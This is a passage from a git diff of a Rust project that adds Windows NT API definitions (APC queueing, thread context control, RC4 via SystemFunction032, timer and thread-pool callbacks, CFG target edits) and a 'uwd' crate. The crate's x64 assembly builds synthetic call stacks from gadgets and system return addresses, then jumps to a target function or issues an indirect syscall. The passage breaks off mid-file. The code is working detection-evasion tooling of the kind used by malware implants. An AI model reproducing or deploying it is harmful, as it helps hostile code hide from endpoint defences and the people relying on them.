48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemTpmBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemCriticalProcessErrorLogInformation = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + SystemManufacturingInformation = 157, + SystemEnergyEstimationConfigInformation = 158, + SystemHypervisorDetailInformation = 159, + SystemProcessorCycleStatsInformation = 160, + SystemVmGenerationCountInformation = 161, + SystemTrustedPlatformModuleInformation = 162, + SystemKernelDebuggerFlags = 163, + SystemCodeIntegrityPolicyInformation = 164, + SystemIsolatedUserModeInformation = 165, + SystemHardwareSecurityTestInterfaceResultsInformation = 166, + SystemSingleModuleInformation = 167, + SystemAllowedCpuSetsInformation = 168, + SystemVsmProtectionInformation = 169, + SystemInterruptCpuSetsInformation = 170, + SystemSecureBootPolicyFullInformation = 171, + SystemCodeIntegrityPolicyFullInformation = 172, + SystemAffinitizedInterruptProcessorInformation = 173, + SystemRootSiloInformation = 174, + SystemCpuSetInformation = 175, + SystemCpuSetTagInformation = 176, + SystemWin32WerStartCallout = 177, + SystemSecureKernelProfileInformation = 178, + SystemCodeIntegrityPlatformManifestInformation = 179, + SystemInterruptSteeringInformation = 180, + SystemSupportedProcessorArchitectures = 181, + SystemMemoryUsageInformation = 182, + SystemCodeIntegrityCertificateInformation = 183, + SystemPhysicalMemoryInformation = 184, + SystemControlFlowTransition = 185, + SystemKernelDebuggingAllowed = 186, + SystemActivityModerationExeState = 187, + SystemActivityModerationUserSettings = 188, + SystemCodeIntegrityPoliciesFullInformation = 189, + SystemCodeIntegrityUnlockInformation = 190, + SystemIntegrityQuotaInformation = 191, + SystemFlushInformation = 192, + SystemProcessorIdleMaskInformation = 193, + SystemSecureDumpEncryptionInformation = 194, + SystemWriteConstraintInformation = 195, + SystemKernelVaShadowInformation = 196, + SystemHypervisorSharedPageInformation = 197, + SystemFirmwareBootPerformanceInformation = 198, + SystemCodeIntegrityVerificationInformation = 199, + SystemFirmwarePartitionInformation = 200, + SystemSpeculationControlInformation = 201, + SystemDmaGuardPolicyInformation = 202, + SystemEnclaveLaunchControlInformation = 203, + SystemWorkloadAllowedCpuSetsInformation = 204, + SystemCodeIntegrityUnlockModeInformation = 205, + SystemLeapSecondInformation = 206, + SystemFlags2Information = 207, + SystemSecurityModelInformation = 208, + SystemCodeIntegritySyntheticCacheInformation = 209, + SystemFeatureConfigurationInformation = 210, + SystemFeatureConfigurationSectionInformation = 211, + SystemFeatureUsageSubscriptionInformation = 212, + SystemSecureSpeculationControlInformation = 213, + SystemSpacesBootInformation = 214, + SystemFwRamdiskInformation = 215, + SystemWheaIpmiHardwareInformation = 216, + SystemDifSetRuleClassInformation = 217, + SystemDifClearRuleClassInformation = 218, + SystemDifApplyPluginVerificationOnDriver = 219, + SystemDifRemovePluginVerificationOnDriver = 220, + SystemShadowStackInformation = 221, + SystemBuildVersionInformation = 222, + SystemPoolLimitInformation = 223, + SystemCodeIntegrityAddDynamicStore = 224, + SystemCodeIntegrityClearDynamicStores = 225, + SystemDifPoolTrackingInformation = 226, + SystemPoolZeroingInformation = 227, + SystemDpcWatchdogInformation = 228, + SystemDpcWatchdogInformation2 = 229, + SystemSupportedProcessorArchitectures2 = 230, + SystemSingleProcessorRelationshipInformation = 231, + SystemXfgCheckFailureInformation = 232, + SystemIommuStateInformation = 233, + SystemHypervisorMinrootInformation = 234, + SystemHypervisorBootPagesInformation = 235, + SystemPointerAuthInformation = 236, + SystemSecureKernelDebuggerInformation = 237, + SystemOriginalImageFeatureInformation = 238, + SystemMemoryNumaInformation = 239, + SystemMemoryNumaPerformanceInformation = 240, + SystemCodeIntegritySignedPoliciesFullInformation = 241, + SystemSecureCoreInformation = 242, + SystemTrustedAppsRuntimeInformation = 243, + SystemBadPageInformationEx = 244, + SystemResourceDeadlockTimeout = 245, + SystemBreakOnContextUnwindFailureInformation = 246, + SystemOslRamdiskInformation = 247, + MaxSystemInfoClass = 248, +} + +#[repr(u32)] +pub enum PROCESS_MITIGATION_POLICY { + ProcessDEPPolicy = 0, + ProcessASLRPolicy = 1, + ProcessDynamicCodePolicy = 2, + ProcessStrictHandleCheckPolicy = 3, + ProcessSystemCallDisablePolicy = 4, + ProcessMitigationOptionsMask = 5, + ProcessExtensionPointDisablePolicy = 6, + ProcessControlFlowGuardPolicy = 7, + ProcessSignaturePolicy = 8, + ProcessFontDisablePolicy = 9, + ProcessImageLoadPolicy = 10, + ProcessSystemCallFilterPolicy = 11, + ProcessPayloadRestrictionPolicy = 12, + ProcessChildProcessPolicy = 13, + ProcessSideChannelIsolationPolicy = 14, + ProcessUserShadowStackPolicy = 15, + ProcessRedirectionTrustPolicy = 16, + ProcessUserPointerAuthPolicy = 17, + ProcessSEHOPPolicy = 18, + MaxProcessMitigationPolicy = 19, +} + +pub type PPS_APC_ROUTINE = + Option; + +pub type FnNtQueueApcThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: PVOID, + ApcArgument1: PVOID, + ApcArgument2: PVOID, + ApcArgument3: PVOID, +) -> NTSTATUS; + +pub type FnNtSignalAndWaitForSingleObject = unsafe extern "system" fn( + SignalHandle: HANDLE, + WaitHandle: HANDLE, + Alertable: BOOLEAN, + Timeout: PLARGE_INTEGER, +) -> NTSTATUS; + +pub type FnNtTerminateThread = + unsafe extern "system" fn(ThreadHandle: HANDLE, ExitStatus: NTSTATUS) -> NTSTATUS; + +pub type FnNtTestAlert = unsafe extern "system" fn() -> NTSTATUS; + +pub type FnNtDuplicateObject = unsafe extern "system" fn( + SourceProcessHandle: HANDLE, + SourceHandle: HANDLE, + TargetProcessHandle: HANDLE, + TargetHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + HandleAttributes: ULONG, + Options: ULONG, +) -> NTSTATUS; + +pub const DUPLICATE_SAME_ACCESS: u32 = 0x00000002; + +pub type FnRtlExitUserThread = unsafe extern "system" fn(ExitStatus: NTSTATUS) -> !; + +pub type PCFG_CALL_TARGET_INFO = *mut CFG_CALL_TARGET_INFO; +pub const CFG_CALL_TARGET_VALID: ULONG_PTR = 0x00000001; + +#[repr(C)] +pub struct CFG_CALL_TARGET_INFO { + pub Offset: ULONG_PTR, + pub Flags: ULONG_PTR, +} + +pub type FnSetProcessValidCallTargets = unsafe extern "system" fn( + hProcess: HANDLE, + VirtualAddress: PVOID, + RegionSize: SIZE_T, + NumberOfOffsets: ULONG, + OffsetInformation: PCFG_CALL_TARGET_INFO, +) -> BOOL; + +pub type FnSystemFunction032 = unsafe extern "system" fn(Data: PUSTRING, Key: PUSTRING) -> NTSTATUS; +pub type FnSystemFunction040 = + unsafe extern "system" fn(Memory: PVOID, MemorySize: ULONG, OptionFlags: ULONG) -> NTSTATUS; +pub type FnSystemFunction041 = + unsafe extern "system" fn(Memory: PVOID, MemorySize: ULONG, OptionFlags: ULONG) -> NTSTATUS; +pub type FnSystemFunction042 = + unsafe extern "system" fn(Memory: PVOID, MemorySize: ULONG, OptionFlags: ULONG) -> NTSTATUS; + +pub const WT_EXECUTEINTIMERTHREAD: u32 = 0x00000020; + +pub type FnRtlCreateTimerQueue = + unsafe extern "system" fn(TimerQueueHandle: *mut HANDLE) -> NTSTATUS; + +pub type FnRtlDeleteTimerQueue = unsafe extern "system" fn(TimerQueueHandle: HANDLE) -> NTSTATUS; + +pub type FnRtlCreateTimer = unsafe extern "system" fn( + TimerQueueHandle: HANDLE, + Handle: *mut HANDLE, + Function: PVOID, + Context: PVOID, + DueTime: u32, + Period: u32, + Flags: u32, +) -> NTSTATUS; + +pub const TH32CS_SNAPTHREAD: u32 = 0x00000004; +pub const INVALID_HANDLE_VALUE: HANDLE = -1isize as HANDLE; +pub const INFINITE: u32 = 0xFFFFFFFF; + +#[repr(C)] +pub struct THREADENTRY32 { + pub dwSize: u32, + pub cntUsage: u32, + pub th32ThreadID: u32, + pub th32OwnerProcessID: u32, + pub tpBasePri: i32, + pub tpDeltaPri: i32, + pub dwFlags: u32, +} + +pub type FnCreateToolhelp32Snapshot = + unsafe extern "system" fn(dwFlags: u32, th32ProcessID: u32) -> HANDLE; + +pub type FnThread32First = + unsafe extern "system" fn(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL; + +pub type FnThread32Next = + unsafe extern "system" fn(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL; + +pub type FnOpenThread = unsafe extern "system" fn( + dwDesiredAccess: u32, + bInheritHandle: BOOL, + dwThreadId: u32, +) -> HANDLE; + +pub type FnDuplicateHandle = unsafe extern "system" fn( + hSourceProcessHandle: HANDLE, + hSourceHandle: HANDLE, + hTargetProcessHandle: HANDLE, + lpTargetHandle: *mut HANDLE, + dwDesiredAccess: u32, + bInheritHandle: BOOL, + dwOptions: u32, +) -> BOOL; + +pub type FnGetThreadContext = + unsafe extern "system" fn(hThread: HANDLE, lpContext: PCONTEXT) -> BOOL; + +pub type FnSetThreadContext = + unsafe extern "system" fn(hThread: HANDLE, lpContext: PCONTEXT) -> BOOL; + +pub type FnSetEvent = unsafe extern "system" fn(hEvent: HANDLE) -> BOOL; + +pub type FnRtlCaptureContext = unsafe extern "system" fn(ContextRecord: PCONTEXT); + +pub type FnGetCurrentProcess = unsafe extern "system" fn() -> HANDLE; +pub type FnGetCurrentProcessId = unsafe extern "system" fn() -> u32; +pub type FnGetCurrentThreadId = unsafe extern "system" fn() -> u32; + +pub type FnVirtualProtect = unsafe extern "system" fn( + lpAddress: PVOID, + dwSize: SIZE_T, + flNewProtect: u32, + lpflOldProtect: *mut u32, +) -> BOOL; + +pub type FnVirtualAlloc = unsafe extern "system" fn( + lpAddress: LPVOID, + dwSize: SIZE_T, + flAllocationType: DWORD, + flProtect: DWORD, +) -> LPVOID; + +pub type FnVirtualFree = + unsafe extern "system" fn(lpAddress: LPVOID, dwSize: SIZE_T, dwFreeType: DWORD) -> BOOL; + +pub type FnDisableThreadLibraryCalls = unsafe extern "system" fn(hLibModule: PVOID) -> BOOL; + +pub type FnBaseThreadInitThunk = + unsafe extern "system" fn(Unknown: u32, StartAddress: PVOID, Argument: PVOID); + +pub type FnRtlAcquireSRWLockExclusive = unsafe extern "system" fn(SRWLock: PVOID); + +pub type FnZwWaitForWorkViaWorkerFactory = unsafe extern "system" fn( + WorkerFactoryHandle: HANDLE, + MiniPacket: PVOID, + Timeout: PLARGE_INTEGER, +) -> NTSTATUS; + +pub type FnEnumDateFormatsExA = + unsafe extern "system" fn(lpDateFmtEnumProcExA: PVOID, Locale: u32, dwFlags: u32) -> BOOL; + +pub type FnNtLockVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + MapType: ULONG, +) -> NTSTATUS; + +pub const VM_LOCK_1: ULONG = 1; + +#[repr(u8)] +#[derive(Clone, Copy, Debug, PartialEq)] +pub enum UNWIND_OP { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE = 1, + UWOP_ALLOC_SMALL = 2, + UWOP_SET_FPREG = 3, + UWOP_SAVE_NONVOL = 4, + UWOP_SAVE_NONVOL_FAR = 5, + UWOP_EPILOG = 6, + UWOP_SPARE_CODE = 7, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128_FAR = 9, + UWOP_PUSH_MACHFRAME = 10, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct UNWIND_CODE { + pub CodeOffset: u8, + pub UnwindOpAndInfo: u8, +} + +impl UNWIND_CODE { + #[inline] + pub fn unwind_op(&self) -> u8 { + self.UnwindOpAndInfo & 0x0F + } + + #[inline] + pub fn op_info(&self) -> u8 { + self.UnwindOpAndInfo >> 4 + } +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct UNWIND_INFO { + pub VersionAndFlags: u8, + pub SizeOfProlog: u8, + pub CountOfCodes: u8, + pub FrameRegisterAndOffset: u8, +} + +impl UNWIND_INFO { + #[inline] + pub fn version(&self) -> u8 { + self.VersionAndFlags & 0x07 + } + + #[inline] + pub fn flags(&self) -> u8 { + self.VersionAndFlags >> 3 + } + + #[inline] + pub fn frame_register(&self) -> u8 { + self.FrameRegisterAndOffset & 0x0F + } + + #[inline] + pub fn frame_offset(&self) -> u8 { + self.FrameRegisterAndOffset >> 4 + } + + pub unsafe fn codes(&self) -> *const UNWIND_CODE { + (self as *const Self).add(1) as *const UNWIND_CODE + } + + pub unsafe fn chained_entry(&self) -> *const IMAGE_RUNTIME_FUNCTION_ENTRY { + let count = self.CountOfCodes as usize; + let aligned = if count % 2 == 1 { count + 1 } else { count }; + self.codes().add(aligned) as *const IMAGE_RUNTIME_FUNCTION_ENTRY + } +} + +pub type PUNWIND_INFO = *mut UNWIND_INFO; + +#[repr(C)] +#[derive(Default, Clone, Copy)] +pub struct TP_POOL_STACK_INFORMATION { + pub StackReserve: SIZE_T, + pub StackCommit: SIZE_T, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TP_CALLBACK_ENVIRON_V3 { + pub Version: DWORD, + pub Pool: PVOID, + pub CleanupGroup: PVOID, + pub CleanupGroupCancelCallback: PVOID, + pub RaceDll: PVOID, + pub ActivationContext: isize, + pub FinalizationCallback: PVOID, + pub u: TP_CALLBACK_ENVIRON_V3_u, + pub CallbackPriority: i32, + pub Size: DWORD, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union TP_CALLBACK_ENVIRON_V3_u { + pub Flags: DWORD, + pub s: TP_CALLBACK_ENVIRON_V3_s, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TP_CALLBACK_ENVIRON_V3_s { + pub _bitfield: DWORD, +} + +impl Default for TP_CALLBACK_ENVIRON_V3 { + fn default() -> Self { + Self { + Version: 3, + Pool: core::ptr::null_mut(), + CleanupGroup: core::ptr::null_mut(), + CleanupGroupCancelCallback: core::ptr::null_mut(), + RaceDll: core::ptr::null_mut(), + ActivationContext: 0, + FinalizationCallback: core::ptr::null_mut(), + u: TP_CALLBACK_ENVIRON_V3_u { Flags: 0 }, + CallbackPriority: 1, + Size: core::mem::size_of::() as DWORD, + } + } +} + +pub type FnTpAllocPool = + unsafe extern "system" fn(PoolReturn: *mut PVOID, Reserved: PVOID) -> NTSTATUS; + +pub type FnTpSetPoolStackInformation = unsafe extern "system" fn( + Pool: PVOID, + PoolStackInformation: *mut TP_POOL_STACK_INFORMATION, +) -> NTSTATUS; + +pub type FnTpSetPoolMinThreads = + unsafe extern "system" fn(Pool: PVOID, MinThreads: DWORD) -> NTSTATUS; + +pub type FnTpSetPoolMaxThreads = unsafe extern "system" fn(Pool: PVOID, MaxThreads: DWORD); + +pub type FnTpAllocTimer = unsafe extern "system" fn( + Timer: *mut PVOID, + Callback: PVOID, + Context: PVOID, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS; + +pub type FnTpSetTimer = unsafe extern "system" fn( + Timer: PVOID, + DueTime: PLARGE_INTEGER, + Period: DWORD, + WindowLength: DWORD, +); + +pub type FnTpAllocWait = unsafe extern "C" fn( + WaitReturn: *mut PTP_WAIT, + Callback: PTP_WAIT_CALLBACK, + Context: PVOID, + CallbackEnviron: PTP_CALLBACK_ENVIRON, +) -> NTSTATUS; + +pub type PTP_WAIT_CALLBACK = Option< + unsafe extern "system" fn( + Instance: PTP_CALLBACK_INSTANCE, + Context: PVOID, + Wait: PTP_WAIT, + WaitResult: TP_WAIT_RESULT, + ), +>; +pub type TP_WAIT_RESULT = DWORD; + +pub type PTP_CALLBACK_INSTANCE = *mut TP_CALLBACK_INSTANCE; + +#[repr(C)] +pub struct TP_CALLBACK_INSTANCE { + pub dummy: *mut c_void, +} +pub type PTP_CALLBACK_ENVIRON = *mut TP_CALLBACK_ENVIRON_V3; + +pub type FnTpSetWait = + unsafe extern "system" fn(Wait: PTP_WAIT, Handle: HANDLE, Timeout: PLARGE_INTEGER); + +pub type PTP_WAIT = *mut TP_WAIT; + +#[repr(C)] +pub struct TP_WAIT { + pub dummy: *mut c_void, +} + +pub type FnTpReleaseCleanupGroup = unsafe extern "system" fn(CleanupGroup: PTP_CLEANUP_GROUP); + +pub type PTP_CLEANUP_GROUP = *mut TP_CLEANUP_GROUP; + +#[repr(C)] +pub struct TP_CLEANUP_GROUP { + pub dummy: *mut c_void, +} + +pub type FnCloseThreadpool = unsafe extern "system" fn(Pool: PVOID); + +pub type LPFIBER_START_ROUTINE = Option; + +pub type FnConvertThreadToFiber = unsafe extern "system" fn(lpParameter: PVOID) -> PVOID; + +pub type FnConvertFiberToThread = unsafe extern "system" fn() -> BOOL; + +pub type FnCreateFiber = unsafe extern "system" fn( + dwStackSize: SIZE_T, + lpStartAddress: LPFIBER_START_ROUTINE, + lpParameter: PVOID, +) -> PVOID; + +pub type FnDeleteFiber = unsafe extern "system" fn(lpFiber: PVOID); + +pub type FnSwitchToFiber = unsafe extern "system" fn(lpFiber: PVOID); + +pub const MEM_IMAGE: DWORD = 0x1000000; + +#[repr(C)] +pub struct MEMORY_BASIC_INFORMATION { + pub BaseAddress: PVOID, + pub AllocationBase: PVOID, + pub AllocationProtect: DWORD, + pub RegionSize: SIZE_T, + pub State: DWORD, + pub Protect: DWORD, + pub Type: DWORD, +} + +pub type FnNtQueryVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: PVOID, + MemoryInformationClass: u32, + MemoryInformation: PVOID, + MemoryInformationLength: usize, + ReturnLength: *mut usize, +) -> NTSTATUS; diff --git a/crates/rust-toolchain.toml b/crates/rust-toolchain.toml new file mode 100644 index 0000000..e9a7037 --- /dev/null +++ b/crates/rust-toolchain.toml @@ -0,0 +1,3 @@ +[toolchain] +channel = "nightly" +targets = ["x86_64-pc-windows-gnu", "i686-pc-windows-gnu"] diff --git a/crates/rustfmt.toml b/crates/rustfmt.toml new file mode 100644 index 0000000..ac0b22b --- /dev/null +++ b/crates/rustfmt.toml @@ -0,0 +1,7 @@ +# Treats all imports as if they belong to one module, effectively grouping all imports together. +# This can simplify the top of your files by having a single import section. +imports_granularity = "One" + +# Combines all imports into a single block, without distinguishing between standard library, external crates, or internal modules. +# This setting avoids separate blocks for different types of imports, creating a cleaner and more concise import section. +group_imports = "One" \ No newline at end of file diff --git a/crates/uwd/Cargo.toml b/crates/uwd/Cargo.toml new file mode 100644 index 0000000..122f7b6 --- /dev/null +++ b/crates/uwd/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "uwd" +version = "0.1.0" +edition = "2021" + +[features] +spoof-uwd = [] +spoof-syscall = ["spoof-uwd"] + +[dependencies] +ntdef = { path = "../ntdef" } + +[build-dependencies] +cc = "1.2.55" diff --git a/crates/uwd/asm/x64/spoof/gnu/synthetic.asm b/crates/uwd/asm/x64/spoof/gnu/synthetic.asm new file mode 100644 index 0000000..82acf14 --- /dev/null +++ b/crates/uwd/asm/x64/spoof/gnu/synthetic.asm @@ -0,0 +1,182 @@ +[BITS 64] + +GLOBAL SpoofSynthetic + +[SECTION .data] + +STRUC Config + .RtlUserThreadStartAddr RESQ 1 + .RtlUserThreadStartFrameSize RESQ 1 + + .BaseThreadInitThunkAddr RESQ 1 + .BaseThreadInitThunkFrameSize RESQ 1 + + .FirstFrame RESQ 1 + .SecondFrame RESQ 1 + .JmpRbxGadget RESQ 1 + .AddRspXGadget RESQ 1 + + .FirstFrameSize RESQ 1 + .SecondFrameSize RESQ 1 + .JmpRbxGadgetFrameSize RESQ 1 + .AddRspXGadgetFrameSize RESQ 1 + + .RbpOffset RESQ 1 + + .SpooFunction RESQ 1 + .ReturnAddress RESQ 1 + + .IsSyscall RESD 1 + .Ssn RESD 1 + + .NArgs RESQ 1 + .Arg01 RESQ 1 + .Arg02 RESQ 1 + .Arg03 RESQ 1 + .Arg04 RESQ 1 + .Arg05 RESQ 1 + .Arg06 RESQ 1 + .Arg07 RESQ 1 + .Arg08 RESQ 1 + .Arg09 RESQ 1 + .Arg10 RESQ 1 + .Arg11 RESQ 1 +ENDSTRUC + +[SECTION .text$E] + +SpoofSynthetic: + push QWORD rbp + push QWORD rbx + push QWORD r12 + push QWORD r13 + push QWORD r15 + + sub rsp, 210h + mov rbp, rsp + + lea rax, [rel RestoreSynthetic] + push rax + lea rbx, [rsp] + + xor rax, rax + push rax + + sub rsp, [rcx + Config.RtlUserThreadStartFrameSize] + push QWORD [rcx + Config.RtlUserThreadStartAddr] + add QWORD [rsp], 21h + + sub rsp, [rcx + Config.BaseThreadInitThunkFrameSize] + push QWORD [rcx + Config.BaseThreadInitThunkAddr] + add QWORD [rsp], 14h + + mov rax, rsp + + push QWORD [rcx + Config.FirstFrame] + sub rax, [rcx + Config.FirstFrameSize] + + sub rsp, [rcx + Config.SecondFrameSize] + mov r10, [rcx + Config.RbpOffset] + mov [rsp + r10], rax + + push QWORD [rcx + Config.SecondFrame] + + sub rsp, [rcx + Config.JmpRbxGadgetFrameSize] + push QWORD [rcx + Config.JmpRbxGadget] + + sub rsp, [rcx + Config.AddRspXGadgetFrameSize] + push QWORD [rcx + Config.AddRspXGadget] + + mov r11, [rcx + Config.SpooFunction] + jmp ParametersSynthetic + +ParametersSynthetic: + mov r12, rcx + mov rax, [r12 + Config.NArgs] + + cmp rax, 1 + jb skip_1 + mov rcx, [r12 + Config.Arg01] + +skip_1: + cmp rax, 2 + jb skip_2 + mov rdx, [r12 + Config.Arg02] + +skip_2: + cmp rax, 3 + jb skip_3 + mov r8, [r12 + Config.Arg03] + +skip_3: + cmp rax, 4 + jb skip_4 + mov r9, [r12 + Config.Arg04] + +skip_4: + lea r13, [rsp] + + cmp rax, 5 + jb skip_5 + mov r10, [r12 + Config.Arg05] + mov [r13 + 28h], r10 + +skip_5: + cmp rax, 6 + jb skip_6 + mov r10, [r12 + Config.Arg06] + mov [r13 + 30h], r10 + +skip_6: + cmp rax, 7 + jb skip_7 + mov r10, [r12 + Config.Arg07] + mov [r13 + 38h], r10 + +skip_7: + cmp rax, 8 + jb skip_8 + mov r10, [r12 + Config.Arg08] + mov [r13 + 40h], r10 + +skip_8: + cmp rax, 9 + jb skip_9 + mov r10, [r12 + Config.Arg09] + mov [r13 + 48h], r10 + +skip_9: + cmp rax, 10 + jb skip_10 + mov r10, [r12 + Config.Arg10] + mov [r13 + 50h], r10 + +skip_10: + cmp rax, 11 + jb skip_11 + mov r10, [r12 + Config.Arg11] + mov [r13 + 58h], r10 + +skip_11: + cmp BYTE [r12 + Config.IsSyscall], 1 + je ExecuteSyscallSynthetic + + jmp ExecuteSynthetic + +RestoreSynthetic: + mov rsp, rbp + add QWORD rsp, 210h + pop QWORD r15 + pop QWORD r13 + pop QWORD r12 + pop QWORD rbx + pop QWORD rbp + ret + +ExecuteSynthetic: + jmp r11 + +ExecuteSyscallSynthetic: + mov r10, rcx + mov eax, DWORD [r12 + Config.Ssn] + jmp r11 diff --git a/crates/uwd/asm/x64/spoof/msvc/synthetic.asm b/crates/uwd/asm/x64/spoof/msvc/synthetic.asm new file mode 100644 index 0000000..8b8c1ba --- /dev/null +++ b/crates/uwd/asm/x64/spoof/msvc/synthetic.asm @@ -0,0 +1,187 @@ +SpoofSynthetic proto + +.data + +Config STRUCT + RtlUserThreadStartAddr DQ 1 + RtlUserThreadStartFrameSize DQ 1 + + BaseThreadInitThunkAddr DQ 1 + BaseThreadInitThunkFrameSize DQ 1 + + FirstFrame DQ 1 + SecondFrame DQ 1 + JmpRbxGadget DQ 1 + AddRspXGadget DQ 1 + + FirstFrameSize DQ 1 + SecondFrameSize DQ 1 + JmpRbxGadgetFrameSize DQ 1 + AddRspXGadgetFrameSize DQ 1 + + RbpOffset DQ 1 + + SpooFunction DQ 1 + ReturnAddress DQ 1 + + IsSyscall DD 0 + Ssn DD 0 + + NArgs DQ 1 + Arg01 DQ 1 + Arg02 DQ 1 + Arg03 DQ 1 + Arg04 DQ 1 + Arg05 DQ 1 + Arg06 DQ 1 + Arg07 DQ 1 + Arg08 DQ 1 + Arg09 DQ 1 + Arg10 DQ 1 + Arg11 DQ 1 +Config ENDS + +.code + +SpoofSynthetic PROC + push rbp + push rbx + push r12 + push r13 + push r15 + + sub rsp, 210h + mov rbp, rsp + + lea rax, RestoreSynthetic + push rax + lea rbx, [rsp] + + xor rax, rax + push rax + + sub rsp, [rcx].Config.RtlUserThreadStartFrameSize + push [rcx].Config.RtlUserThreadStartAddr + add QWORD PTR [rsp], 21h + + sub rsp, [rcx].Config.BaseThreadInitThunkFrameSize + push [rcx].Config.BaseThreadInitThunkAddr + add QWORD PTR [rsp], 14h + + mov rax, rsp + + push [rcx].Config.FirstFrame + sub rax, [rcx].Config.FirstFrameSize + + sub rsp, [rcx].Config.SecondFrameSize + mov r10, [rcx].Config.RbpOffset + mov [rsp + r10], rax + + push [rcx].Config.SecondFrame + + sub rsp, [rcx].Config.JmpRbxGadgetFrameSize + push [rcx].Config.JmpRbxGadget + + sub rsp, [rcx].Config.AddRspXGadgetFrameSize + push [rcx].Config.AddRspXGadget + + mov r11, [rcx].Config.SpooFunction + jmp ParametersSynthetic +SpoofSynthetic ENDP + +ParametersSynthetic PROC + mov r12, rcx + mov rax, [r12].Config.NArgs + + cmp rax, 1 + jb skip_1 + mov rcx, [r12].Config.Arg01 + +skip_1: + cmp rax, 2 + jb skip_2 + mov rdx, [r12].Config.Arg02 + +skip_2: + cmp rax, 3 + jb skip_3 + mov r8, [r12].Config.Arg03 + +skip_3: + cmp rax, 4 + jb skip_4 + mov r9, [r12].Config.Arg04 + +skip_4: + lea r13, [rsp] + + cmp rax, 5 + jb skip_5 + mov r10, [r12].Config.Arg05 + mov [r13 + 28h], r10 + +skip_5: + cmp rax, 6 + jb skip_6 + mov r10, [r12].Config.Arg06 + mov [r13 + 30h], r10 + +skip_6: + cmp rax, 7 + jb skip_7 + mov r10, [r12].Config.Arg07 + mov [r13 + 38h], r10 + +skip_7: + cmp rax, 8 + jb skip_8 + mov r10, [r12].Config.Arg08 + mov [r13 + 40h], r10 + +skip_8: + 